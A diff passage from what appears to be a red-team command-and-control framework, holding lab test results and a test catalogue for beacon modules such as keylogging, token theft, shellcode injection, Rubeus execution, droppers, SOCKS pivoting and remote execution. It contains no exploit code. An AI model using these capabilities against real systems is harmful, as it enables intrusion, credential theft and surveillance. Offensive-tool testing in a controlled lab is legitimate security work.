"Validated during the simple system module batch." + + - id: MODULE-KILLPROCESS-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule killProcess succeeded and killProcess was validated against a safe test process." + notes: "Windows beacon module test." + + - id: MODULE-SHELL-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule shell succeeded. shell whoami returned desktop-92jlelp\\max, shell exit returned shell terminated, and a later shell whoami also returned desktop-92jlelp\\max." + notes: "Current behavior allows a shell command after exit to start a new shell/process instance; keep as observed behavior unless the shell lifecycle contract is tightened." + + - id: MODULE-SIMPLE-SYSTEM-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Validated whoami, getEnv, ipConfig, netstat, ps, killProcess, shell, and run across the Windows simple system module batches." + notes: "Combines the 2026-05-08 HTTP whoami/run coverage with the 2026-05-09 simple system and killProcess tests." + + - id: MODULE-REGISTRY-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule registry succeeded. registry createKey/set/query/deleteValue/deleteKey against HKCU\\Software\\C2ModuleTest completed and query returned Type: 1, Data: ok." + notes: "Validated local Windows registry lifecycle on a Windows beacon." + + - id: MODULE-ENUMERATESHARES-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule enumerateShares succeeded. enumerateShares returned ADMIN$, C$, D$, E$, and IPC$ with readable descriptions." + notes: "Validated local share enumeration on a Windows beacon." + + - id: MODULE-ENUMERATERDPSESSIONS-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule enumerateRdpSessions succeeded. enumerateRdpSessions returned the active Console session for DESKTOP-92JLELP\\Max with readable columns." + notes: "Validated local RDP session enumeration on a Windows beacon." + + - id: MODULE-TASKSCHEDULER-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule taskScheduler succeeded. taskScheduler created, started, and deleted the C2ModuleTest task; the task wrote c2-task-ok and the test file was removed afterward." + notes: "Validated local scheduled task execution and cleanup on a Windows beacon." + + - id: MODULE-EVASION-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule evasion succeeded. evasion CheckHooks completed with readable hook-check output for the expected Windows DLLs." + notes: "Smoke test kept to CheckHooks to avoid mutating process telemetry state." + + - id: MODULE-WINDOWS-ADMIN-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Validated registry, taskScheduler, evasion CheckHooks, enumerateShares, and enumerateRdpSessions on a Windows x64 beacon." + notes: "Windows admin module group covered by local, non-remote smoke tests." + + - id: MODULE-STEALTOKEN-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule stealToken succeeded. stealToken was validated against a safe process token; while impersonated, whoami returned No information." + notes: "The No information result is accepted for this test because it depends on token type and group lookup behavior." + + - id: MODULE-REV2SELF-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule rev2self succeeded. rev2self returned Reverted to self, and a following whoami returned User: Max with expected group information." + notes: "Validated return to the original Windows beacon token context after impersonation." + + - id: MODULE-SPAWNAS-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule spawnAs succeeded. spawnAs --no-profile .\\c2test launched cmd.exe and wrote c2-spawnas-ok to C:\\Users\\Public\\c2-spawnas.txt; cat verified the content and the file was removed." + notes: "Default --with-profile path hit CreateProcessAsUserW privilege error 0x522 in this beacon context; --no-profile is the validated smoke-test path." + + - id: MODULE-MAKETOKEN-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule makeToken succeeded. makeToken c2test with the local test account returned successful login/impersonation and rev2self returned to the original Max context." + notes: "Because makeToken uses LOGON32_LOGON_NEW_CREDENTIALS, whoami continued to show the local identity; this is expected for the validated mode." + + - id: MODULE-WINDOWS-PRIVILEGE-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Validated makeToken, stealToken, rev2self, and spawnAs with a local c2test account and a safe process token." + notes: "spawnAs validated with --no-profile; makeToken validated as net-credentials impersonation where whoami can keep reporting the local identity." + + - id: MODULE-KEYLOGGER-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule keyLogger succeeded. keyLogger start, dump, and stop were tested and returned cleanly." + notes: "Smoke test validates current in-memory keylogger lifecycle. Persisting incremental output to GeneratedArtifacts/keylogger remains tracked by MODULE-KEYLOGGER-GENERATED-ARTIFACT-002." + + - id: MODULE-SCRIPT-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule script succeeded. script test.cmd from uploaded artifacts executed successfully on a Windows beacon; Linux script execution from UploadedArtifacts/testScript.sh was already validated in the Linux golden path." + notes: "Windows autocomplete initially missed uploaded .cmd artifacts because the CommandSpec only queried server scripts; the spec now includes upload artifact filters for cmd/shell scripts." + + - id: MODULE-DOTNETEXEC-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule dotnetExec succeeded. dotnetExec load and run were tested successfully against a .NET tool artifact." + notes: "Validated Windows x64 .NET assembly load/execute path and tool autocomplete behavior during module stabilization." + + - id: C2CLIENT-ARTIFACTS-DOWNLOAD-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Downloaded generated artifacts from the Artifacts tab after small and large beacon download; SHA-256 check was OK." + notes: "Generated artifact client-side download works." + + - id: ARTIFACT-GENERATED-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Generated download artifacts were created for test1234.txt and OneDriveSetup.exe, then downloaded from Artifacts and hash-verified. screenShot desktop.bmp also generated 1778172748738517131-d5d3-desktop.bmp in the artifact store. assemblyExec generated 3e337fc3d150-assemblyExec-Rubeus.exe.bin and the raw generated shellcode artifact executed successfully." + notes: "GeneratedArtifacts/download/beacon, GeneratedArtifacts/screenshot/beacon, and GeneratedArtifacts shellcode paths validated. The screenshot artifact was around 42 MB, which is functionally OK but should be optimized." + + - id: TEAMSERVER-FILE-TRANSFER-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "After tracking chunked results by outputfile when UUID is missing, a big file download completed without intermediate done unknown progress messages." + notes: "Validated live with a large beacon download. File transfer data and user-facing command context are now correct." + + - id: BEACON-CORE-CHUNKED-RESULTS-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "A big file download no longer emitted intermediate visible progress chunks as separate done unknown responses." + notes: "Validated the chunked command result path after the TeamServer command-context tracking fix." + + - id: C2CLIENT-CONSOLE-FORMATTING-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "After the server-side chunk context fix, big file download no longer produced intermediate done unknown lines in the console." + notes: "The console no longer has to render malformed chunk progress as command results for this path." + + - id: MODULE-SCREENSHOT-CONTRACT-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "loadModule screenShot succeeded. Duplicate loadModule screenShot was rejected as already loaded. screenShot desktop.bmp completed while sleep 0.01 still worked during the wait, then returned: Generated artifact stored: 1778172748738517131-d5d3-desktop.bmp." + notes: "Functional path is OK after rebuilding beacon-compatible Windows modules. Generated BMP size was around 42 MB; add follow-up to reduce screenshot artifact size." + + - id: MODULE-POWERSHELL-CONTRACT-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "loadModule powershell succeeded. powershell -s testScript.ps1 returned desktop-92jlelp\\max. powershell -i testScript.ps1 imported the script as a dynamic module. powershell dir returned module import output plus directory details for BeaconGithubDll.dll." + notes: "Validated script-backed -s, import -i, and inline command execution on a Windows beacon after replacing the beacon-compatible Windows modules." + + - id: ARTIFACT-SCRIPTS-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "powershell -s testScript.ps1 and powershell -i testScript.ps1 both resolved and executed/imported the script-backed payload successfully." + notes: "Windows script artifact resolution is validated for the powershell module path." + + - id: MODULE-ASSEMBLYEXEC-CONTRACT-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "assemblyExec --donut-exe Rubeus.exe -- triage executed correctly in process, processWithSpoofedParent, and thread modes after the StdCapture/Win32 stdout redirection fix. The -- continuation was autocompleted correctly. assemblyExec --raw 3e337fc3d150-assemblyExec-Rubeus.exe.bin also executed correctly and returned Rubeus output. assemblyExec --donut-dll rdm.dll --method go -- test returned the expected Donut error for a .NET DLL missing class/method metadata." + notes: "Functional execution, argument preservation, generated shellcode creation, raw generated shellcode reuse, and all three execution modes are validated. Raw by artifact ID is not expected to work yet for this command path." + + - id: C2CLIENT-CONSOLE-AUTOCOMPLETE-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "assemblyExec --donut-exe initially proposed x86 tools and .bin generated shellcode artifacts while interacting with an x64 Windows beacon. After adding arch=session.arch and format filters to CommandSpecs/ListArtifacts, autocomplete no longer proposes x86 tools or .bin files for --donut-exe." + notes: "Validated on the live beacon console after rebuilding TeamServer/client proto paths and refreshing CommandSpecs." + + - id: MODULE-INJECT-CONTRACT-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "inject passed with --pid -1 and with a real notepad PID. Autocomplete proposed the expected payloads without wrong-arch or .bin entries, and payload execution completed correctly." + notes: "Validated shellcode preparation, inject autocomplete, spawn target mode, existing PID mode, and payload execution on a Windows beacon." + + - id: MODULE-PWSH-CONTRACT-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "One beacon completed loadModule pwSh, pwSh init, pwSh run whoami, and pwSh script testScript.ps1 successfully. After adding completion_parents and improving the CLR/AppDomain error text, retest confirmed pwSh script/import autocomplete works and the init failure on the alternate beacon context now returns a verbose actionable error." + notes: "Validated happy path, script artifact autocomplete for import/script, and clear CLR/AppDomain failure reporting." + + - id: BEACON-CORE-HEARTBEAT-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "A beacon left inactive for more than 5 minutes moved to stale state in the client." + notes: "Manual validation confirms the stale transition path. Reconnect transition can be covered separately if needed." + + - id: VALIDATION-GOLDEN-PATH-LINUX-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Linux HTTPS beacon completed listModule, loadModule ls/cd/cat/upload/download/script, cd, ls, upload of an UploadedArtifacts file to /tmp/c2-upload-test.txt, cat of the uploaded file, download back into GeneratedArtifacts, listModule state validation, and script testScript.sh from UploadedArtifacts after the runtime-by-extension fix." + notes: "Validated Linux x64 happy path including UploadedArtifacts-backed script execution." + + - id: VALIDATION-GOLDEN-PATH-WINDOWS-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Windows x64 HTTPS beacon completed listModule, loadModule ls/cd/cat/upload/download/screenShot, cd to C:\\users\\max\\desktop, ls, upload by artifact hash to c2-upload-test.txt, cat returned toto, listModule showed loaded modules, and screenShot generated 1778266470248372166-d90a-desktop2.bmp." + notes: "Also validated expected failures for upload test.txt when the upload artifact was absent and download c2-upload-test2.txt when the remote file did not exist. Sleep 0.01 completed while screenshot was pending, confirming the beacon remained responsive." + + - id: VALIDATION-ERROR-HANDLING-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Validated clear errors for missing module, duplicate loadModule, missing upload artifact, missing download args, missing upload args, missing Donut source for assemblyExec/inject, missing script artifact for powershell, and Windows-only pwSh on Linux. Retested rebuilt beacon listener validation: listener start tcp with notaport, 0, and 65536 all returned 'Error: Invalid TCP listener port. Expected an integer between 1 and 65535.' and did not create a listener." + notes: "Also validated listener start tcp 0.0.0.0 5555 then listener stop by full listener hash completed successfully." + + - id: RELEASE-WINDOWS-ARTIFACTS-001 + status: blocked + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Initial rebuilt WindowsModules/x64 DLLs returned Prepared shellcode tasks are not supported by this module, indicating a server/test ABI build. After replacing the modules, strings on build/artifacts/Release/WindowsModules/x64/*.dll no longer finds that server/test-only message, and screenShot executes successfully." + notes: "The ABI issue is resolved for the current x64 module set, but the full Windows release artifact layout still needs a clean release validation across expected arches before marking this pass." + + - id: MODULE-CHISEL-CONTRACT-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because the required chisel tool/runtime setup is not available in the current lab." + notes: "Keep as blocked until a suitable chisel.exe artifact and network validation setup are available." + + - id: MODULE-COFFLOADER-CONTRACT-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because no known-good COFF test artifact is available in the current lab." + notes: "Keep as blocked until a controlled COFF artifact is added under Tools/Windows/x64." + + - id: MODULE-KERBEROSUSETICKET-CONTRACT-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because there is no Kerberos lab context/ticket setup for a meaningful functional validation." + notes: "Requires a controlled .kirbi ticket and domain/lab context." + + - id: MODULE-MINIDUMP-CONTRACT-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because the current lab does not have the intended elevated/safe dump validation setup." + notes: "Requires an explicit safe target/process and artifact verification path before marking pass." + + - id: MODULE-PSEXEC-CONTRACT-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because no remote Windows target/service-execution lab setup is available." + notes: "Requires a controlled remote host, credentials, and service executable artifact." + + - id: MODULE-REVERSEPORTFORWARD-CONTRACT-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because the current lab does not have the desired live forwarding setup available." + notes: "Requires a controlled local service and remote beacon-side connectivity check." + + - id: MODULE-CIMEXEC-CONTRACT-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because no remote Windows execution lab target is available." + notes: "Part of the Windows remote execution module group." + + - id: MODULE-DCOMEXEC-CONTRACT-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because no remote Windows execution lab target is available." + notes: "Part of the Windows remote execution module group." + + - id: MODULE-SSHEXEC-CONTRACT-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because no controlled SSH execution target is available." + notes: "Part of the remote execution module group." + + - id: MODULE-WINRM-CONTRACT-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because no WinRM-enabled remote Windows lab target is available." + notes: "Part of the Windows remote execution module group." + + - id: MODULE-WMIEXEC-CONTRACT-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because no remote Windows execution lab target is available." + notes: "Part of the Windows remote execution module group." + + - id: MODULE-WINDOWS-EXEC-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because the remote execution lab setup is not available." + notes: "Group remains blocked until cimExec, dcomExec, sshExec, winRm, and wmiExec can be validated against controlled targets." + + - id: TEAMSERVER-SOCKS-SERVICE-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Terminal SOCKS lifecycle validated: bind before start returned Socks server not running; start succeeded on port 1080; duplicate start returned already running; bind succeeded for beacon iON5Ki2e; duplicate bind returned already bind; unbind succeeded; stop succeeded; restart and rebind also succeeded. End-to-end traffic validated with curl --socks5 127.0.0.1:1080 http://example.com/ -I returning HTTP/1.1 200 OK. After socks unbind and socks stop, curl against 127.0.0.1:1080 failed with curl: (7) Couldn't connect to server." + notes: "Covers TeamServer SOCKS service lifecycle, terminal error handling, bind/rebind behavior, live proxied HTTP traffic through the bound beacon, and shutdown behavior." + + - id: TEAMSERVER-SOCKS-STRESS-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "scripts/socks5_stress_test.py --proxy-host 127.0.0.1 --proxy-port 1080 --url http://example.com/ --requests 300 --concurrency 25 --timeout 15 --expect-status 200 completed with 300 passed, 0 failed, HTTP 200:300, elapsed 9.46s, throughput 31.72 req/s, p50 775.9ms, p95 926.4ms, p99 1105.3ms." + notes: "The stress tool resolves the target hostname locally to IPv4 by default because the current TeamServer SOCKS path supports IPv4 CONNECT but not SOCKS domain-name CONNECT." + + - id: COMMON-END-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Manual test on a live beacon: help end rendered CommandSpec help; end returned Success." + notes: "Covers common end command help and successful beacon termination command dispatch." + + - id: COMMON-SLEEP-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Manual test on a live beacon after rebuild: help sleep rendered CommandSpec help; sleep 0.01 returned 10ms; sleep 1 returned 1000ms; sleep 0 returned 0ms and is valid; invalid values such as sleep abc were retested after the validation fix and rejected clearly." + notes: "Covers accepted sleep intervals, zero sleep behavior, CommandSpec help rendering, and invalid value rejection." + + - id: C2CLIENT-TERMINAL-DROPPER-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Manual terminal dropper workflow validated: help/config/arch selection and generation/hosting flow work as expected from the Terminal tab." + notes: "Dropper module limitations remain outside the terminal workflow: PeInjectorSyscall injection fails without -p self, likely because the default target PID is not valid; PowershellWebDelivery does not currently work on the Windows 11 lab; other dropper modules were not tested." + + - id: C2CLIENT-TERMINAL-BASE-001 + status: pass + date: "2026-05-10" + build: "local-dev" + tester: "max" + evidence: "Manual UI retest after replacing QCompleter with integrated CompletionInput: Terminal autocomplete is visible under the input, Tab descends, Shift+Tab ascends, Escape closes, help+Enter executes help, and host+Tab descends into artifacts/listeners. Beacon console retest validated ls+Enter and cd+Enter execute the bare commands, while Tab or trailing space explicitly opens argument/example suggestions. Hooks and Data AI input height and integrated autocomplete behavior were also validated." + notes: "The previous QCompleter multi-screen popup blocker is resolved. Exact command matches no longer auto-descend into examples unless completion is explicitly requested." + + - id: C2CLIENT-SESSION-PANEL-001 + status: pass + date: "2026-05-10" + build: "local-dev" + tester: "max" + evidence: "Manual UI retest validated the Sessions panel: stable table sizing during refresh, readable IPs, humanized last seen/state behavior, OS tooltip, and visual alignment with the dark theme." + notes: "Session panel validation completed during the UI stabilization pass." + + - id: C2CLIENT-LISTENER-PANEL-001 + status: pass + date: "2026-05-10" + build: "local-dev" + tester: "max" + evidence: "Manual retest validated the Listeners panel after the port-conflict fix: stable table sizing during refresh, readable listener fields, invalid ports rejected, duplicate TCP-bound ports across http/https/tcp rejected cleanly, and valid listener start/stop flows still work." + notes: "The previous crash path is fixed: UI blocks conflicting http/https/tcp ports before RPC and TeamServer rejects the same conflict server-side." + + - id: C2CLIENT-HOOKS-PANEL-001 + status: pass + date: "2026-05-10" + build: "local-dev" + tester: "max" + evidence: "Manual UI validation confirmed the Hooks panel lists hooks/scripts, descriptions are available in tooltips, enable/disable works, activation counters update, ManualStart receives the sessions/listeners snapshot, non-ManualStart hooks without captured context show a clear message, and the compact integrated autocomplete input behaves correctly." + notes: "Validated after the shared CompletionInput migration and Hooks panel polish." + + - id: C2CLIENT-AI-PANEL-001 + status: pass + date: "2026-05-10" + build: "local-dev" + tester: "max" + evidence: "Manual UI validation confirmed Data AI renders system/user/assistant markers with distinct colors, message text is visually separate from badges, blocks keep readable spacing, the input stays compact, and integrated autocomplete/local commands behave correctly." + notes: "Functional command knowledge is not considered fully current after the CommandSpec migration; tracked separately in the TODO item for synchronizing the assistant with ListCommands/CommandSpecs." + + - id: C2CLIENT-GRAPH-PANEL-001 + status: pass + date: "2026-05-10" + build: "local-dev" + tester: "max" + evidence: "Manual UI validation confirmed the Graph panel separates listeners/sessions/pivots by default, Auto redistributes nodes, Fit recenters, +/- zoom works, manual positions remain stable after refresh, the redundant Graph frame is absent, dark theme is consistent, and labels/tooltips are readable." + notes: "Validated during UI stabilization after graph layout, zoom, and theme polish." + + - id: C2CLIENT-MAIN-THEME-001 + status: pass + date: "2026-05-10" + build: "local-dev" + tester: "max" + evidence: "Manual UI validation confirmed the main window, sessions, listeners, graph, terminal/consoles, hooks, Data AI, Add Listener dialog, and native Windows window chrome are visually harmonized with the dark theme." + notes: "Validated after applying the shared dark panel style to remaining panels and DWM dark chrome on Windows." + + - id: ARTIFACT-TOOLS-001 + status: pass + date: "2026-05-10" + build: "local-dev" + tester: "max" + evidence: "Manual validation confirmed Tools artifacts are visible in the Artifacts tab, filters by platform/arch behave correctly, downloads work from the tab, compatible tools are proposed by autocomplete, and tool-backed commands can consume the selected artifacts." + notes: "Closes the critical Tools artifact gap after the artifact catalog and CommandSpec autocomplete stabilization." + + - id: RELEASE-LINUX-ARTIFACTS-001 + status: pass + date: "2026-05-10" + build: "local-dev" + tester: "max" + evidence: "Manual validation after a clean Linux build/release confirmed LinuxBeacons/, LinuxModules/, Tools/Linux/, Scripts/Linux, and CommandSpecs are present in the expected release layout. Artifacts filters show the Linux x64 entries correctly, and a short Linux beacon golden path with listModule/loadModule/cd/ls/upload/download works." + notes: "Closes the last non-blocked critical release artifact gap for the Linux side." + + - id: C2CLIENT-CONSOLE-HELP-001 + status: pass + date: "2026-05-10" + build: "local-dev" + tester: "max" + evidence: "Manual beacon console validation confirmed help output for help, sleep, assemblyExec, inject, upload, download, and listModule renders from CommandSpecs with clear usage, readable arguments, coherent examples, and no legacy << or >> markers." + notes: "Validated after the CommandSpec help migration and console formatting cleanup." diff --git a/docs/testing/test-catalog.yaml b/docs/testing/test-catalog.yaml new file mode 100644 index 0000000..0710d0c --- /dev/null +++ b/docs/testing/test-catalog.yaml @@ -0,0 +1,1305 @@ +schema_version: 1 +catalog_version: "2026-05-07" +description: > + Source of truth for C2TeamServer validation coverage. This catalog describes + what must be tested; it does not store pass/fail results. Automated and manual + runners should report results by stable id. + +status_model: + auto_result: [pass, fail, blocked, untested] + manual_result: [pass, fail, blocked, untested] + final_result: + pass: "all required auto/manual validations passed" + fail: "at least one required validation failed" + partial: "some required validation is still untested" + blocked: "validation cannot run because a dependency is missing" + untested: "no validation result exists yet" + planned: "known required coverage with no stable validation yet" + +validation_modes: + auto: "validated by automated tests only" + manual: "validated by a predetermined manual procedure only" + auto+manual: "requires both automated tests and a real lab/manual validation" + planned: "known required coverage with no stable validation yet" + +axes: + os: [any, windows, linux, teamserver, client] + arch: [any, x64, x86, arm64, n/a] + listener: [n/a, https, http, tcp, smb, dns, github, any] + artifact_category: + - n/a + - command_specs + - tools + - scripts + - uploaded + - generated + - hosted + - beacons + - modules + - any + +entries: + - id: C2CLIENT-CONFIG-ENV-001 + area: C2Client + feature: Config loading + scenario: "Load .env values and environment overrides with documented precedence." + priority: critical + validation: auto + axes: {os: client, arch: n/a, listener: n/a, artifact_category: n/a} + evidence: + auto: ["C2Client/tests/test_env_loading.py"] + manual: [] + + - id: C2CLIENT-CONFIG-CERT-001 + area: C2Client + feature: TLS certificate config + scenario: "Use C2_CERT_PATH when set and report a clear error when the certificate is missing." + priority: high + validation: auto+manual + axes: {os: client, arch: n/a, listener: https, artifact_category: n/a} + evidence: + auto: ["C2Client/tests/test_env_loading.py", "C2Client/tests/test_grpc_client.py"] + manual: ["Start C2Client with C2_CERT_PATH pointing to the release TeamServer certificate."] + + - id: C2CLIENT-STARTUP-GUI-001 + area: C2Client + feature: GUI startup + scenario: "Start python3 -m C2Client.GUI without crashing and create non-closable core tabs." + priority: critical + validation: auto+manual + axes: {os: client, arch: n/a, listener: n/a, artifact_category: n/a} + evidence: + auto: ["C2Client/tests/test_gui_startup.py"] + manual: ["Run python3 -m C2Client.GUI and verify Terminal, AI, Hooks, and Artifacts tabs are present."] + + - id: C2CLIENT-RPC-BINDINGS-001 + area: C2Client + feature: Protocol bindings + scenario: "Expose TeamServer RPC fields used by sessions, listeners, artifacts, commands, and hooks." + priority: critical + validation: auto + axes: {os: client, arch: n/a, listener: n/a, artifact_category: n/a} + evidence: + auto: ["C2Client/tests/test_protocol_bindings.py", "C2Client/tests/test_grpc_client.py"] + manual: [] + + - id: C2CLIENT-SESSION-PANEL-001 + area: C2Client + feature: Sessions panel + scenario: "Render sessions table with stable column sizing, readable IPs, last seen, state, OS tooltip, and module count context." + priority: high + validation: auto+manual + axes: {os: client, arch: n/a, listener: any, artifact_category: n/a} + evidence: + auto: ["C2Client/tests/test_session_panel.py", "C2Client/tests/test_ui_status.py"] + manual: ["Connect at least one Windows and one Linux beacon and inspect session row readability while resizing."] + + - id: C2CLIENT-LISTENER-PANEL-001 + area: C2Client + feature: Listener panel + scenario: "Render listeners table, restrict form fields, and preserve column sizing during refresh." + priority: high + validation: auto+manual + axes: {os: client, arch: n/a, listener: any, artifact_category: n/a} + evidence: + auto: ["C2Client/tests/test_listener_panel.py"] + manual: ["Create/list/stop an HTTPS listener and verify form validation for host and port."] + + - id: C2CLIENT-GRAPH-PANEL-001 + area: C2Client + feature: Graph panel + scenario: "Render separated nodes by default, zoom in/out controls, and no redundant title frame." + priority: medium + validation: auto+manual + axes: {os: client, arch: n/a, listener: any, artifact_category: n/a} + evidence: + auto: ["C2Client/tests/test_graph_panel.py"] + manual: ["Open Graph with multiple sessions/listeners and verify nodes are not stacked."] + + - id: C2CLIENT-CONSOLE-FORMATTING-001 + area: C2Client + feature: Console formatting + scenario: "Use unified timestamp, marker, and body colors with no duplicated queued/done/result lines." + priority: high + validation: auto+manual + axes: {os: client, arch: n/a, listener: any, artifact_category: n/a} + evidence: + auto: ["C2Client/tests/test_console_panel.py"] + manual: ["Run pwd and ls on a beacon and verify one queued line and one done line with output."] + + - id: C2CLIENT-CONSOLE-AUTOCOMPLETE-001 + area: C2Client + feature: Beacon console autocomplete + scenario: "Build autocomplete from CommandSpec, artifact catalog, sessions, listeners, and loaded module state." + priority: critical + validation: auto+manual + axes: {os: client, arch: n/a, listener: any, artifact_category: command_specs} + evidence: + auto: ["C2Client/tests/test_console_panel.py", "C2Client/tests/assistant_agent/test_command_builder.py", "C2Client/tests/assistant_agent/test_command_specs.py"] + manual: ["Press Tab on assemblyExec, inject, dotnetExec, download, upload, and loadModule commands."] + + - id: C2CLIENT-CONSOLE-HELP-001 + area: C2Client + feature: Beacon command help + scenario: "Render help from TeamServer CommandSpec without legacy << or >> markers." + priority: high + validation: auto+manual + axes: {os: client, arch: n/a, listener: any, artifact_category: command_specs} + evidence: + auto: ["C2Client/tests/test_console_panel.py", "teamServer/tests/TeamServerHelpServiceTests.cpp"] + manual: ["Run help and help assemblyExec in a beacon console."] + + - id: C2CLIENT-TERMINAL-BASE-001 + area: C2Client + feature: Terminal tab + scenario: "Show base help text, command history, unified colors, and terminal autocomplete." + priority: high + validation: auto+manual + axes: {os: client, arch: n/a, listener: n/a, artifact_category: n/a} + evidence: + auto: ["C2Client/tests/test_terminal_panel_dropper_arch.py", "C2Client/tests/test_console_panel.py"] + manual: ["Open Terminal, press Tab, run help, and verify formatting/newlines."] + + - id: C2CLIENT-TERMINAL-HOST-001 + area: C2Client + feature: Terminal host command + scenario: "Host an artifact reference through GeneratedArtifacts/hosted instead of arbitrary legacy file paths." + priority: critical + validation: auto+manual + axes: {os: client, arch: n/a, listener: https, artifact_category: hosted} + evidence: + auto: ["C2Client/tests/test_terminal_panel_dropper_arch.py", "teamServer/tests/TeamServerTermLocalServiceTests.cpp"] + manual: ["Run host and fetch the returned URL."] + + - id: C2CLIENT-TERMINAL-DROPPER-001 + area: C2Client + feature: Dropper + scenario: "Generate and host droppers with selected beacon arch and shellcode generator." + priority: high + validation: auto+manual + axes: {os: client, arch: x64, listener: https, artifact_category: hosted} + evidence: + auto: ["C2Client/tests/test_terminal_panel_dropper_arch.py"] + manual: ["Generate an HTTPS Windows x64 dropper and verify it appears as a hosted artifact."] + + - id: C2CLIENT-TERMINAL-CREDENTIALS-001 + area: C2Client + feature: Credential store terminal commands + scenario: "Add, list, and retrieve credentials through terminal commands." + priority: medium + validation: planned + axes: {os: client, arch: n/a, listener: n/a, artifact_category: n/a} + evidence: + auto: ["teamServer/tests/TeamServerTermLocalServiceTests.cpp"] + manual: ["Use credential add/list/get once the server-side credential store is stabilized."] + + - id: C2CLIENT-ARTIFACTS-LIST-001 + area: C2Client + feature: Artifacts tab + scenario: "List CommandSpecs, Tools, Scripts, UploadedArtifacts, GeneratedArtifacts, hosted artifacts, beacons, and modules with category filters." + priority: critical + validation: auto+manual + axes: {os: client, arch: n/a, listener: n/a, artifact_category: any} + evidence: + auto: ["C2Client/tests/test_artifact_panel.py", "teamServer/tests/TeamServerArtifactCatalogTests.cpp"] + manual: ["Open Artifacts tab after a clean release build and verify each expected category."] + + - id: C2CLIENT-ARTIFACTS-UPLOAD-001 + area: C2Client + feature: Artifact upload + scenario: "Upload operator files into UploadedArtifacts with selected platform and arch." + priority: high + validation: auto+manual + axes: {os: client, arch: any, listener: n/a, artifact_category: uploaded} + evidence: + auto: ["C2Client/tests/test_artifact_panel.py", "teamServer/tests/TeamServerArtifactCatalogTests.cpp"] + manual: ["Upload a file from the Artifacts tab and verify it is usable by upload/kerberosUseTicket/psExec."] + + - id: C2CLIENT-ARTIFACTS-DOWNLOAD-001 + area: C2Client + feature: Artifact download + scenario: "Download selected artifacts from TeamServer to the client filesystem." + priority: high + validation: auto+manual + axes: {os: client, arch: n/a, listener: n/a, artifact_category: generated} + evidence: + auto: ["C2Client/tests/test_artifact_panel.py"] + manual: ["Download a generated artifact from Artifacts tab and verify file hash/size."] + + - id: C2CLIENT-ARTIFACTS-DELETE-001 + area: C2Client + feature: Artifact delete + scenario: "Delete 